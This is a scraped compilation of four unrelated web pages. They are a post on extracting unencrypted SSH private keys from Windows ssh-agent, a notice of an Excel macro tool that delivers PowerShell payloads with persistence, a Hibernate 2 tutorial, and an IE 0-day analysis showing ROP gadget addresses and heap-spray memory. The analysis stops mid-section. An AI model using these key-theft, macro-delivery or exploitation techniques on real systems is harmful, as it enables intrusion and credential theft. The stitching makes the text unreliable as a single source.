Feeding the JSON generated from the Powershell script will output all the RSA
private keys found:

<img src='img/private_keys_powershell.png' width='576' height='360'
alt='Extracting private keys' />

These RSA private keys are **unencrypted**. Even though when I created them I
added a password, they are stored unencrypted with `ssh-agent` so I don't need
the password anymore.

To verify, I copied the key back to a Kali linux box and verified the
fingerprint and used it to SSH in\!

<img src='img/ssh_kali.png' width='576' height='379' alt='Using the key' />

## Next Steps

Obviously my PowerShell-fu is weak and the code I'm releasing is more for PoC.
It's probably possible to re-create the private keys entirely in PowerShell.
I'm also not taking credit for the Python code - that should all go to
soleblaze for his original implementation.

I would also love to eventually see this weaponized and added to post-
exploitation frameworks since I think we will start seeing a lot more OpenSSH
usage on Windows 10 by administrators and I'm sure these keys could be very
valuable for redteamers and pentesters :\)

Feedback and comments welcome\!

Enjoy  
-ropnop
  

# ToolsWatch.org – The Hackers Arsenal Tools | Repository for vFeed and DPE Projects » \[New Tool\] Powershell Payload Excel Delivery
**Created:**| _1/13/2014 8:24:40 PM_  
---|---  
**Updated:**| _1/13/2014 8:24:40 PM_  
**Author:**| __  
**Tags:**| _powershell office_  
  

# \[New Tool\] Powershell Payload Excel Delivery****

  * Tweet 

A method of delivering a powershell payload via an excel macro**.** It
contains malware characteristics, such as a self-deleting batch file and
automatic persistence on the system**.**

This is a VBA macro that uses Matt Graeber’s Invoke-Shellcode to execute a
powershell payload in memory as well as schedule a task for persistence**.**

Please note that the powershell commands in the macro can be encoded**.**

For this to work, Invoke-Shellcode needs to be accessible by the target**.**

HUGE thanks to Matthew Graeber \(@mattifestation\) for writing Invoke-
Shellcode**.** You can find his great work over at
https://github.com/mattifestation **.**

Get the code

> Tool submitted by its author Matt Nelson
**Tags:** Ethical Hacking and Pentesting , Invoke-Shellcode , Powershell
payload

#### About the Author****

NJ Ouchn  Principal Founder & Maintainer**.** Organizer of the Blackhat
Arsenal Event http://www.blackhat.com/us-13/arsenal.html

### Leave a Reply Cancel reply****

Your email address will not be published**.** Required fields are marked \*

Name \*

Email \*

Website

<img src='img/Temp2_8414.png' width='175' alt='CAPTCHA Image' />

CAPTCHA Code \*

Comment

You may use these HTML tags and attributes: `<a href="" title=""> <abbr
title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del
datetime=""> <em> <i> <q cite=""> <strike> <strong> `

****

# System Mobile » Introduction to Hibernate 2

**Created:**| _4/21/2010 9:24:38 AM_  
---|---  
**Updated:**| _4/21/2010 9:25:22 AM_  
**Author:**| __  
**Tags:**| _Databases Java Tutorials programming Hibernate_  
  

## Introduction to Hibernate 2

June 28th, 2006

Goto commentsLeave a comment

A major portion of the development of an enterprise application involves the
creation and maintenance of the persistence layer used to store and retrieve
objects from the database of choice. Many organizations resort to creating
homegrown, often buggy, persistence layers. If changes are made to the
underlying database schema, it can be expensive to propagate those changes to
the rest of the application. Hibernate steps in to fill this gap, providing an
easy-to-use and powerful object-relational persistence framework for Java
applications.

Hibernate provides support for collections and object relations, as well as
composite types. In addition to persisting objects, Hibernate provides a rich
query language to retrieve objects from the database, as well as an efficient
caching layer and Java Management Extensions \(JMX\) support. User-defined
data types and composite primary keys give additional flexibility to support
legacy applications.

Hibernate is released under the Lesser GNU Public License, which is sufficient
for use in commercial as well as open source applications. It supports
numerous databases, including Oracle and DB2, as well as popular open source
databases such as PostgreSQL and MySQL. An active user community helps to
provide support and tools to extend Hibernate and make using it easier.

This article covers Hibernate 2.1, which was released on December 2003.

**How Hibernate Works**

Rather than utilize bytecode processing or code generation, Hibernate uses
runtime reflection to determine the persistent properties of a class. The
objects to be persisted are defined in a mapping document, which serves to
describe the persistent fields and associations, as well as any subclasses or
proxies of the persistent object. The mapping documents are compiled at
application startup time and provide the framework with necessary information
for a class. Additionally, they are used in support operations, such as
generating the database schema or creating stub Java source files.

`SessionFactory` is created from the compiled collection of mapping documents.
The`SessionFactory` provides the mechanism for managing persistent classes,
the `Session` interface. The `Session` class provides the interface between
the persistent data store and the application. The`Session` interface wraps a
JDBC connection, which can be user-managed or controlled by Hibernate, and is
only intended to be used by a single application thread, then closed and
discarded.

**The Mapping Documents**

Our example utilizes two trivial classes, `Team` and `Player`. The mappings
for these classes are shown below.

[code]

    <hibernate-mapping>
    
      <class name="example.Team" table="teams">
        <id name="id" column="team_id" type="long" unsaved-value="null">
    
          <generator class="hilo"/>
        </id>
        <property name="name" column="team_name" type="string"
    
            length="15" not-null="true"/>
        <property name="city" column="city" type="string" length="15" not-null="true"/>
    
        <set name="players" cascade="all" inverse="true" lazy="true">
          <key column="team_id"/>
    
          <one-to-many class="example.Player"/>
        </set>
      </class>
    </hibernate-mapping>
    
    
[/code]

[code]

    <hibernate-mapping>
      <class name="example.Player" table="players">
        <id name="id" column="player_id" type="long" unsaved-value="null">
          <generator class="hilo"/>
    
        </id>
        <property name="firstName" column="first_name" type="string" length="12" not-null="true"/>
    
        <property name="lastName" column="last_name" type="string" length="15" not-null="true"/>
        <property name="draftDate" column="draft_date" type="date"/>
    
        <property name="annualSalary" column="salary" type="float"/>
        <property name="jerseyNumber" column="jersey_number" type="integer" length="2" not-null="true"/>
    
        <many-to-one name="team" class="example.Team" column="team_id"/>
      </class>
    </hibernate-mapping>
    
    
[/code]

The mapping documents are reasonably clear, but certain areas warrant
explanation. The `id`element block describes the primary key used by the
persistent class. The attributes of the `id`element are:

  * `name`: The property name used by the persistent class.
  * `column`: The column used to store the primary key value.
  * `type`: The Java data type used. In this case, we're going to use `long`s.
  * `unsaved-value`: This is the value used to determine if a class has been made persistent, i.e., stored to the database. If the value of the id attribute is null, Hibernate knows that this object has not been persisted. This is important when calling the `saveOrUpdate()` method, discussed later.

The `generator` element describes the method used to generate primary keys.
I've chosen to use the `hilo` generator for purposes of illustration. The
`hilo` generator will use a supporting table to create the key values. If this
method doesn't appeal to you, don't worry. In Hibernate 2.0, ten primary key
generation methods are available and it's possible to create your own
mechanism, including composite primary keys.

The `property` elements define standard Java attributes and how they are
mapped to columns in the schema. Attributes are available to specify column
length, specific SQL types, and whether or not to accept null values. The
`property` element supports the `column` child element to specify additional
properties, such as the index name on a column or a specific column type.

Our `Team` class has an additional element block for the collection of
`Player`s that belong to a `Team`:

[code]

    <set name="players" cascade="all" inverse="true" lazy="true">
      <key column="team_id"/>
    
      <one-to-many class="example.Player"/>
    </set>
    
    
[/code]

Figure 3 defines a set of `Player`s that will be mapped to the `Team` using
the bi-directional mapping defined in the `Player `class, which Hibernate will
create when the schema is generated. The `key`element is used to distinguish
an instance of the collection using a foreign key to the owning entity. The
`one-to-many` element specifies the collected class and the column used to map
to the entity.

Two attributes in the `set` element are of interest: `lazy `and `inverse`.
Marking a collection as`lazy="true"` means that the collection will not be
automatically populated when the object containing the collection is retrieved
from the database. For example, if we retrieve a `Team` from the database, the
set of `Player`s will not be populated until the application accesses it. Lazy
initialization of collections will be explained in more detail in the
Performance Considerations section.

The `inverse` attribute allows this set to be bi-directional, meaning that we
can determine the `Team`that a `Player` belongs to with the following entry
from the `Player` mapping document:

[code]

    <many-to-one name="team" class="example.Team" column="team_id"/>
    
    
[/code]

Figure - bi-directional association from the Player class to the Team class

The line shown in above figure will create a bi-directional association from
the `Player` to its associated `Team`.

**Hibernate Properties**

The properties that Hibernate uses to connect to the database and generate the
schema are stored in a file called `hibernate.properties`. For our purposes,
this file only has five properties, but many more are available:

[code]

    hibernate.connection.username=ralph
    hibernate.connection.password=nader
    hibernate.connection.url=jdbc:postgresql://localhost/example
    hibernate.connection.driver_class=org.postgresql.Driver
    hibernate.dialect=net.sf.hibernate.dialect.PostgreSQLDialect
    hibernate.connection.pool_size=3 # optional, see below
    
    
[/code]

The first four property values are familiar to any developer that has worked
with JDBC. The last property, `hibernate.dialect`, defines the SQL dialect
used when converting the Hibernate Query Language \(HQL\) into SQL, as well as
when generating the database schema for initial use. If we chose to use Oracle
instead of PostgreSQL in the future, we'd simply change the dialect used and
update the connection parameters as necessary. The HQL statements would
largely stay the same except for features unique to a given database, such as
the lack of nested select statements in MySQL.

An additional features to improve database portability are query language
substitutions. These substitutions allow the developer to rename SQL functions
or tokens using the`hibernate.query.substitutions` property:

[code]

    hibernate.query.substitutions toUpper=UPPER # rename the SQL UPPER() function to 'toUpper()'
    
    
[/code]

This feature is useful if your database doesn’t understand boolean TRUE and
FALSE values.

Hibernate has an internal connection pool, but it is only suitable for testing
or experimenting with the framework. For serious development use, Hibernate
supports C3P0, Apache DBCP, and Proxool connection pools. Links to these
utilities are provided in the Resources section. If your preferred connection
pooling framework isn’t yet supported, you may add support for it by
implementing the`net.sf.hibernate.connection.ConnectionProvider` interface.

You may also set the `hibernate.show_sql` property to `true` to instruct
Hibernate to write the generated SQL to the console.

**The Schema**

Mapping files in hand, it's time to generate the database schema. Hibernate
ships with the SchemaExport utility that will create the schema necessary for
the mapping documents. This utility may be run from the command line or from
an Ant build script to connect to the database and create the schema, or to
export the schema to a file.

[code]

    # from the command line
    java -cp classpath net.sf.hibernate.tool.hbm2ddl.SchemaExport _options_ mapping_files
    
    <!-- from an Ant build.xml -->
    <target name="init-db">
      <taskdef classname="net.sf.hibernate.tool.hbm2ddl.SchemaExportTask"
    
          classpathref="project.class.path" name="schemaexport"/>
      <schemaexport delimiter=";" drop="false" output="schema.sql"
    
          properties="config/hibernate.properties" quiet="false" text="false">
        <fileset dir="${build.destdir}">
          <include name="**/*.hbm.xml"/>
    
        </fileset>
      </schemaexport>
    </target>
    
    
[/code]

This is what our schema looks like:

Figure - generated database schema

The `hibernate_unique_key` table is used to store the id value used for the
hilo generator type.

**The Source Files**

Rather than create the persistent classes by hand, I've chosen to use the
`CodeGenerator `that ships with the Hibernate Extensions package. The
`CodeGenerator` will create stub files based on the mapping documents
described above, which are suitable for our needs. \(The code bundle
supporting this article can be found in the Resources section.\) Using the
`CodeGenerator` is similar to the`SchemaExport` utility:

[code]

    java -cp classpath net.sf.hibernate.tool.hbm2java.CodeGenerator _options_ mapping_files
    
[/code]

Figure - CodeGenerator usage

The generated classes have the following structure \(constructors removed from
diagram for brevity\):

Figure - diagram of example classes generated by Hibernate

**Creating the SessionFactory**

The `SessionFactory` stores the compiled mapping documents specified when the
factory is created. Configuring the `SessionFactory` is fairly
straightforward. All of the mappings are added to an instance of
`net.sf.hibernate.cfg.Configuration`, which is then used to create
the`SessionFactory` instance.

[code]

    Configuration cfg = new Configuration()
        .addClass(example.Player.class)
        .addClass(example.Team.class);
    SessionFactory factory = cfg.buildSessionFactory();
    
    
[/code]

Figure - Configuring and creating a SessionFactory

The `Configuration` class is only needed for the creation of the
`SessionFactory` and can be discarded after the factory is built. Instances of
`Session` are obtained by calling`SessionFactory.openSession()`. The logical
lifecycle of a `Session` instance is the span of a database transaction.

The `SessionFactory` can also be configured using an XML mapping file, placed
in the root of your classpath. The obvious advantage to this approach is that
your configuration isn't hardcoded in the application.

**Creating and Updating Persistent Classes**

As far as Hibernate is concerned, classes are either transient or persistent.
Transient classes are instances that have not been saved to the database. To
make a transient instance persistent, simply save it using the `Session`
class:

[code]

    Player player = new Player();
    // … populate player object
    Session session = SessionFactory.openSession();
    session.saveOrUpdate(player);
    
    
[/code]

Figure - saving persistent objects

The `saveOrUpdate(Object)` call will save the object if the id property is
`null`, issuing a SQL `INSERT`to the database. This refers to the `unsaved-
value` attribute that we defined in the `Player` mapping document. If the id
is not `null`, the `saveOrUpdate(Object)` call would issue an update, and a
SQL`UPDATE` would be issued to the database. \(Please refer to the sidebar
_Unsaved-Value Strategies_ for more information on this topic.\)

To create and save a `Team` with assigned `Player`s, follow the same pattern
of creating the object and saving it with a `Session` instance:

[code]

    Team team = new Team();
    team.setCity("Detroit");
    team.setName("Pistons");
    
    // add a player to the team.
    Player player = new Player();
    player.setFirstName("Chauncey");
    player.setLastName("Billups");
    player.setJerseyNumber(1);
    player.setAnnualSalary(4000000f);
    Set players = new HashSet();
    players.add(player);
    team.setPlayers(players);
    
    // open a session and save the team
    Session session = SessionFactory.openSession();
    session.saveOrUpdate(team);
    
    
[/code]

This will persist the `Team` instance and each of the `Player` instances in
the `Set`.

**Unsaved Value Strategies**  
  
  
The `unsaved-value` attribute supported by the `id` element indicates when an
object is newly created and transient, versus an object already persisted. The
default value is `null`, which should be sufficient for most cases. However,
if your identifier property doesn't default to null, you should give the
default value for a transient \(newly created\) object.  
  
  
Additional values supported by the unsaved-value attribute are: `any`, `none`
and `id-value`.

**Retrieving Persistent Classes**

If you know the primary key value of the object that you want to retrieve, you
can load it with the`Session.load()` method. This method is overloaded to
provide support for standard classes and BMP entity beans.

[code]

    // method 1: loading a persistent instance
    Session session = SessionFactory.createSession();
    Player player = session.load(Player.class, playerId);
    
    // method 2: loading the Player's state
    Player player = new Player();
    session.load(player, playerId);
    
    
[/code]

Figure - Loading persistent instances

To retrieve a persistent class without knowing its primary key value, you can
use the`Session.find()` methods. The `find()` method allows you to pass an HQL
\(Hibernate Query Language\) statement and retrieve matching objects as a
`java.util.List`. The `find()` method has three signatures, allowing you to
pass arguments to JDBC-like "?" parameters as a single argument, named
parameters, or as an `Object[]`. \(Please refer to the sidebar  _Hibernate
Query Language_ for more information on HQL.\)

**Hibernate Query Language**  
  
  
Queries written in HQL are essentially as powerful as their SQL counterparts.
Inner and outer joins are supported, as are various functions such as
`avg(…)`, `sum(…)`, `min(…)`, and `count(…)`. HQL also supports many other
SQL-like functions and operations such as `distinct` and `like`. Subqueries
are also supported if supported by the underlying database, as is the `group
by` clause.  
  

Named parameters allow you to specify names in the HQL statements instead of
question marks as parameter flags. For example:  
  

`select team.id from team in class example.Team where team.name=:name`

To set the value of the `:name` parameter, use the `Query.setParameter(…)`
method. For the aforementioned statement, it would look like:  
  

`query.setParameter("name", "Pistons", Hibernate.STRING);`  
  

HQL is a very rich object query language and, because of its depth, will be
the subject of a future article.

**Deleting Persistent Classes**

Making a persistent object transient is accomplished with the
`Session.delete()` method. This method supports passing either a specific
object to delete or a query string to delete multiple objects from the
database.

[code]

    // method 1 - deleting the Player loaded in figure 12
    session.delete(player);
    
    // method 2 - deleting all of the Players with a
    // salary greater than 4 million
    session.delete("from player in class example.Player where player.annualSalary > 4000000");
    
    
[/code]

Figure - deleting a persistent object

It's  
important to note that while the object may be deleted from the database, your
application may still hold a reference to the object. Deleting an object with
collections of objects, such as the `Team`'s set of `Player`s, can cascade to
child objects by specifying `cascade="delete"` for the `set` element in the
mapping document.

**Collections**

Hibernate can manage the persistence of object collections, whether they are
Sets, Maps, Lists, arrays of objects or primitive values. It also allows
another form of collection called a "bag". A bag can be mapped to a
`Collection` or `List`, and contains an unordered, unindexed collection of
entities. Bags can contain the same element many times.

Additional semantics supported by implementing classes, such as `LinkedList`,
are not maintained when persisted. Another note is that the property of a
collection must be the interface type \(`List`,`Map`, `Set`\). This is
because, in order to support lazy collections, Hibernate uses it's own
implementations of the `List`, `Map` or `Set` interfaces.

When accessing a lazily initialized collection, it's important to remember
that a `Session` must be open, or an exception will be thrown:

[code]

    Session session = factory.openSession();
    Team team = (Team) session.find("from team in class example.Team where team.city = ?", cityName, Hibernate.STRING).get(0);
    Set players = team.getPlayers();
    session.close();
    Player p = (Player) players.get(0); // exception will be thrown here
    
    
[/code]

Figure - incorrect use of lazy initialization

The exception is thrown in Figure 15 because the `Session` needed to populate
`players` was closed prematurely. Because of the potential for this bug,
Hibernate defaults to non-lazy collections. However, lazy collections should
be used for performance reasons.

**Performance Considerations**

Fortunately this functionality doesn't come at much of a performance cost. The
Hibernate website claims that its "overhead is much less than 10% of the JDBC
calls," and my experience in deploying applications using Hibernate supports
this. Hibernate can make multiple optimizations when interacting with the
database, including caching objects, efficient outer join fetching and
executing SQL statements only when needed. It is difficult to achieve this
level of sophistication with hand-coded JDBC.

A link to the performance FAQ on the Hibernate website can be found in the
Resources section.

**Alternative Persistence Frameworks**

Hibernate isn't the only framework available for mapping objects to persistent
data stores. I encourage you to evaluate each of them and choose the best one
for your needs. Some alternative frameworks, listed in no particular order,
are:

  * OJB. "ObjectRelationalBridge \(OJB\) is an Object/Relational mapping tool that allows transparent persistence for Java Objects against relational databases." Apache license.http://db.apache.org/ojb/
  * Castor. "Castor is an open source data binding framework for Java\[tm\]." BSD-like license.http://castor.exolab.org/
  * CocoBase. "CocoBase _®_ offers a simple to use, powerful Dynamic Object to Relational Mapping™ tool for Java developers writing applications on the J2EE, J2SE and J2ME platforms." Commercial. http://www.thoughtinc.com/cber\_index.html
  * TopLink. "With TopLink, developers can map both Java Objects and Entity Beans to a relational database schema." TopLink was recently purchased by Oracle. Commercial.http://www.oracle.com/features/9iAS/index.html?t1as\_toplink.html

**Conclusion**

This article has given you an introduction to what Hibernate can do. Hibernate
delivers a high-performance, open source persistence framework comparable to
many of its open source and commercial counterparts. Developers utilizing
Hibernate can greatly reduce the amount of time and effort needed to code,
test, and deploy applications. However, we've only scratched the surface and I
encourage you to explore Hibernate for yourself.

**About the Author**

Nick Heudecker is a software developer with more than eight years of
experience designing and building enterprise applications. His firm, System
Mobile, Inc., specializes in application integration, custom software
development and wireless applications. He is a Sun Certified Java Programmer
and is located in Chicago.

**Resources**

  * The example source code and mapping documents can be found at:http://www.systemmobile.com/articles/hibernate.zip
  * Hibernate website: http://www.hibernate.org/
  * Hibernate performance FAQ: http://www.hibernate.org/15.html
  * Hibernate feature list: http://www.hibernate.org/4.html
  * A comparison of various ORM frameworks: http://c2.com/cgi-bin/wiki?ObjectRelationalToolComparison
  * C3P0 Connection Pooling
  * Apache DBCP Pooling
  * Proxool Connection Pooling
  * The System Mobile website: http://www.systemmobile.com/

# CVE-2013-3897 – Analysis of Yet Another IE 0-Day | Cyvera
**Created:**| _10/9/2013 11:18:02 AM_  
---|---  
**Updated:**| _10/9/2013 11:18:02 AM_  
**Author:**| __  
**Tags:**| _windows environment browser_  
  

# CVE-2013-3897 – Analysis of Yet Another IE 0-Day

Posted on

Tuesday, October 8,2013

By

Gal Badishi, Chief Scientist

While the security community is still discussing the Internet Explorer 0-day
\(CVE-2013-3893\) that was used to perform targeted attacks in the Asia-
Pacific region and was public for several weeks without a patch, it appears
that another IE 0-day, CVE-2013-3897, is used in attacks on the same region.
This time, the targeted version is IE 8 running on Windows XP, and the exploit
is triggered only for Korean and Japanese targets. We now provide an analysis
of the exploitation techniques used in the in-the-wild attack exploiting
CVE-2013-3897, which show great similarity to the exploitation techniques used
in CVE-2013-3893.

The exploit abuses a use-after-free vulnerability in Internet Explorer 8, to
gain control over EIP. Since IE 8 on Windows XP is DEP-enabled, the attacker
uses ROP gadgets found in the Korean/Japanese version to pivot the stack, call
VirtualProtect to mark the payload with PAGE\_EXECUTE\_READWRITE permissions,
and jump to the payload. The payload then continues to download executable
files masquerading as images, which eventually results in dropping several
executable, DLLs and drivers on the machine. The dropped files themselves
perform various functions, including disabling AV products, stealing passwords
and poisoning DNS lookups. Since Cyvera TRAPS stops the exploitation attempts
as they are just starting, no payload is run, and so we will concentrate
solely on the exploitation details.

First, let’s look at the ROP gadgets’ addresses:

var ate1 = 0x77BD18D3 ; var atz1 = 0x77BCEF5B ; var co1 = 0x77BCF519 ; var
pco1 = 0x77BD3E25 ; var jtc1 = 0x77BE746A ; var vPP1 = 0x77BC1120 ;

123456 | var ate1 = 0x77BD18D3 ;var atz1 = 0x77BCEF5B ;var co1 = 0x77BCF519 ;var pco1 = 0x77BD3E25 ;var jtc1 = 0x77BE746A ;var vPP1 = 0x77BC1120 ;  
---|---  
To see what happens when the browser does not contain the correct MUI pack,
consider the first location of a ROP gadget:

`  
1:025> u 0x77BD18D3  
midimap!Unconfigure+0x2c0:  
77bd18d3 85c0 test eax,eax  
77bd18d5 894308 mov dword ptr [ebx+8],eax  
77bd18d8 0f84fa000000 je midimap!Unconfigure+0x3c5 (77bd19d8)  
77bd18de ff750c push dword ptr [ebp+0Ch]  
77bd18e1 50 push eax  
77bd18e2 ff153810bd77 call dword ptr [midimap!_imp__lstrcpyW (77bd1038)]  
77bd18e8 837de800 cmp dword ptr [ebp-18h],0  
77bd18ec 742a je midimap!Unconfigure+0x305 (77bd1918)  
`

Obviously, this can’t be right. And indeed, when we run the exploit, we get an
access violation:

`  
(6a8.cb8): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=01a4a12c ebx=030416fc ecx=14141414 edx=3050f4a5 esi=01a4a1b0 edi=80004002  
eip=7c912e09 esp=01a4a108 ebp=01a4a108 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
ntdll!wcscpy+0xb:  
7c912e09 668b02 mov ax,word ptr [edx] ds:0023:3050f4a5=????  
`

Other than the value of ecx, the stack trace leaves no room for doubt that
indeed we gained control of EIP:

`  
1:025> kv  
ChildEBP RetAddr Args to Child  
01a4a108 7c80bb20 14141414 3050f4a5 80004002 ntdll!wcscpy+0xb (FPO: [Non-Fpo])  
01a4a13c 77bd18e8 14141414 3050f4a5 3cf9da41 kernel32!lstrcpyW+0x1c (FPO:
[Non-Fpo])  
01a4a180 3d1e5ed9 030416fc 3050f4a5 11cf98b5 midimap!Unconfigure+0x2d5 (FPO:
[Non-Fpo])  
01a4a1f8 3d1e4e08 001a3ff0 030416fc 00000000
mshtml!CDoc::ScrollPointerIntoView+0xc5  
01a4a20c 3d2fcb68 030416e0 02fbd288 00000000
mshtml!CDisplayPointer::ScrollIntoView+0x21  
01a4a22c 3d2fcac6 01a4a2bc 01a4a2f8 00000002
mshtml!CHTMLEditor::SelectRangeInternal+0x98  
01a4a244 3d302e8e 02fbd288 01a4a2bc 01a4a2f8
mshtml!CHTMLEditor::SelectRange+0x1a  
01a4a264 3d1b4d9d 02fbd288 01a4a2bc 01a4a2f8
mshtml!CHTMLEditorProxy::SelectRange+0x25  
01a4a284 3d2c1222 001a3ff0 01a4a2bc 01a4a2f8 mshtml!CDoc::Select+0x2f  
01a4a32c 3cf01d25 001bfbb0 00989ba0 3cf01cf2 mshtml!CRichtext::select+0xd1  
01a4a348 3cf8acf3 02fc3958 00989ba0 02fa3170 mshtml!Method_void_void+0x75  
01a4a3bc 3cf96cc1 02fc3958 00001b5d 00000002
mshtml!CBase::ContextInvokeEx+0x5d1  
01a4a40c 3cfa29e8 02fc3958 00001b5d 00000002
mshtml!CElement::ContextInvokeEx+0x9d  
01a4a438 3cf8a6f9 02fc3958 00001b5d 00000002
mshtml!CInput::VersionedInvokeEx+0x2d  
01a4a488 3d7c3a8a 02f92900 00001b5d 00000002 mshtml!PlainInvokeEx+0xea  
01a4a4c8 3d7c39d6 00986210 00001b5d 00000409 jscript!IDispatchExInvokeEx2+0xf8  
01a4a504 3d7c4f16 00986210 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a  
01a4a5c4 3d7c4e70 00001b5d 00000001 00000000 jscript!InvokeDispatchEx+0x98  
01a4a5f8 3d7c2d5d 00986210 01a4a62c 00000001 jscript!VAR::InvokeByName+0x135  
01a4a644 3d7c4225 00986210 00000001 00000000 jscript!VAR::InvokeDispName+0x7a  
01a4a670 3d7c4f83 00986210 00000000 00000001 jscript!VAR::InvokeByDispID+0xce  
01a4a80c 3d7c139b 01a4a824 01a4a96c 01a4a96c
jscript!CScriptRuntime::Run+0x2abe  
01a4a8f4 3d7c12d5 01a4a96c 00000000 02bbca88
jscript!ScrFncObj::CallWithFrameOnStack+0xff  
01a4a940 3d7c1103 01a4a96c 00000000 02bbca88 jscript!ScrFncObj::Call+0x8f  
01a4a9bc 3d7c384e 00987e00 01a4cdb8 00000000 jscript!CSession::Execute+0x175  
01a4aaa4 3d7c36da 00987e00 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8  
01a4ab28 3d7c3a8a 00987e00 00000000 00000002 jscript!NameTbl::InvokeEx+0x129  
01a4ab68 3d7c39d6 00986210 00000000 00000002 jscript!IDispatchExInvokeEx2+0xf8  
01a4aba4 3d7ab396 00986210 00000002 00000001 jscript!IDispatchExInvokeEx+0x6a  
01a4ac34 3cee811f 01a4abf8 00000004 00000002 jscript!NameTbl::InvokeEx+0x372  
01a4ac6c 3cf8b4f8 001baee0 00000002 00000001
mshtml!CScriptCollection::InvokeEx+0x8a  
01a4cce0 3cf8a73d 001a62b8 00002712 00000002 mshtml!CWindow::InvokeEx+0x6a9  
01a4cd08 3cf8a6f9 001a62b8 00002712 00000002
mshtml!CBase::VersionedInvokeEx+0x20  
01a4cd58 3cf8b592 02f8fa90 00002712 00000002 mshtml!PlainInvokeEx+0xea  
01a4cdc8 3cf8afc2 001a6418 00002712 00000002
mshtml!COmWindowProxy::InvokeEx+0x338  
01a4cdf0 3cf8a73d 001a6418 00002712 00000002
mshtml!COmWindowProxy::subInvokeEx+0x26  
01a4ce18 3cf8a6f9 001a6418 00002712 00000002
mshtml!CBase::VersionedInvokeEx+0x20  
01a4ce68 3d7c3a8a 02f50208 00002712 00000002 mshtml!PlainInvokeEx+0xea  
01a4cea8 3d7c39d6 00986210 00002712 00000409 jscript!IDispatchExInvokeEx2+0xf8  
01a4cee4 3d7c4f16 00986210 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a  
01a4cfa4 3d7c4fb5 00002712 00000001 00000000 jscript!InvokeDispatchEx+0x98  
01a4cfd0 3d7c4f83 00986210 00000000 00000001 jscript!VAR::InvokeByDispID+0x154  
01a4d16c 3d7c139b 01a4d184 01a4d2cc 01a4d2cc
jscript!CScriptRuntime::Run+0x2abe  
01a4d254 3d7c12d5 01a4d2cc 00000000 02bbcb08
jscript!ScrFncObj::CallWithFrameOnStack+0xff  
01a4d2a0 3d7c1103 01a4d2cc 00000000 02bbcb08 jscript!ScrFncObj::Call+0x8f  
01a4d31c 3d7c384e 00989840 01a4d560 00000000 jscript!CSession::Execute+0x175  
01a4d404 3d7c36da 00989840 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8  
01a4d488 3cee8587 00989840 00000000 0000040d jscript!NameTbl::InvokeEx+0x129  
01a4d4d8 3cee849f 001a6418 00989840 00000000
mshtml!CBase::InvokeDispatchWithThis+0x1e0  
01a4d604 3cee35fb 000003eb 80011790 02f502c8 mshtml!CBase::InvokeEvent+0x213  
01a4d75c 3cee437b 000003eb 80011790 3cee43b0
mshtml!COmWindowProxy::FireEvent+0x16a  
01a4d790 3cee4139 001bfbb0 001a3ff0 001bfbb0
mshtml!COmWindowProxy::Fire_onload+0xd8  
01a4d804 3cee3de6 001c4b28 001a4004 001a3ff0
mshtml!CMarkup::OnLoadStatusDone+0x435  
01a4d824 3cee3dc2 00000004 001a3c90 00000000 mshtml!CMarkup::OnLoadStatus+0x47  
01a4dc70 3cf5054f 001a7450 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f  
01a4dc84 3cf8a3bb 001a7450 001a7450 001a3c38
mshtml!CProgSink::OnMethodCall+0x12  
01a4dcc0 3cf74ee8 01a4dd48 3cf74e3a 00000000
mshtml!GlobalWndOnMethodCall+0x104  
01a4dce0 7e418734 00070362 00000008 00000000 mshtml!GlobalWndProc+0x183  
01a4dd0c 7e418816 3cf74e3a 00070362 00008002 USER32!InternalCallWinProc+0x28  
01a4dd74 7e4189cd 00000000 3cf74e3a 00070362
USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])  
01a4ddd4 7e418a10 01a4de08 00000000 01a4feec
USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])  
01a4dde4 3e2ec2bd 01a4de08 00000000 00982460 USER32!DispatchMessageW+0xf (FPO:
[Non-Fpo])  
01a4feec 3e29331f 001634d8 7c91a3cb 0015fdc8
IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])  
01a4ffa4 3e138111 00982460 0013fa18 01a4ffec IEFRAME!LCIETab_ThreadProc+0x2c1
(FPO: [Non-Fpo])  
01a4ffb4 7c80b729 0015fdc8 7c91a3cb 0013fa18
iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])  
01a4ffec 00000000 3e138103 0015fdc8 00000000 kernel32!BaseThreadStart+0x37
(FPO: [Non-Fpo])  
`

In order to gain control over EIP and then ESP, the attacker sprays the heap
with the value 0×14141414, in a way that remarkably resembles the exact code
of the in-the-wild exploit for CVE-2013-3893. The size of the object used to
exploit the use-after-free vulnerability is 0×46 bytes. Surprisingly, the
attacker left many calls to Math.atan2 with appropriate debug strings. This
makes it very easy for us to trace the execution, breaking on
jscript\!JsAtan2. Here’s what the heap looks like at that range, after the
initial heap-spray:

`  
14141404 | 14141414 14141414 14141414 14141414  
14141414 | 77bd18d3 77bcef5b 00000000 77bcf519  
14141424 | 77bc1118 77bd3e25 77be746a 1414148c  
14141434 | 1414148c 00010000 00000040 1414144c  
14141444 | 00000000 00000000 00000000 00000000  
14141454 | 00000000 00000000 00000000 00000000  
14141464 | 00000000 00000000 00000000 00000000  
14141474 | 00000000 00000000 00000000 00000000  
14141484 | 00000000 00000000 14141414 14141414  
14141494 | 14141414 14141414 cccccccc cccccccc  
`

We can see the ROP payload starting at 0×14141414, with the actual payload
starting at 0x1414149c \(replaced by a bulk of _int 3_ commands here\). The
savvy reader will notice a call to VirtualProtect \(at address 0x1414142c\),
changing the protection of 0x1414148c to PAGE\_EXECUTE\_READWRITE \(0×40\),
and immediately returning to the newly-protected region \(see address
0×14141434\). To see how we get there, recall that the exploitation stack
trace showed that mshtml\!CDoc::ScrollPointerIntoView+0xc5 is the return
address from the function call that diverted the execution:

`  
1:025> u mshtml!CDoc::ScrollPointerIntoView+0xc0  
mshtml!CDoc::ScrollPointerIntoView+0xc0:  
3d1e5ed4 e8217bdbff call mshtml!QIClassID (3cf9d9fa)  
3d1e5ed9 85c0 test eax,eax  
`

Here is a snippet from mshtml\!QIClassID:

`  
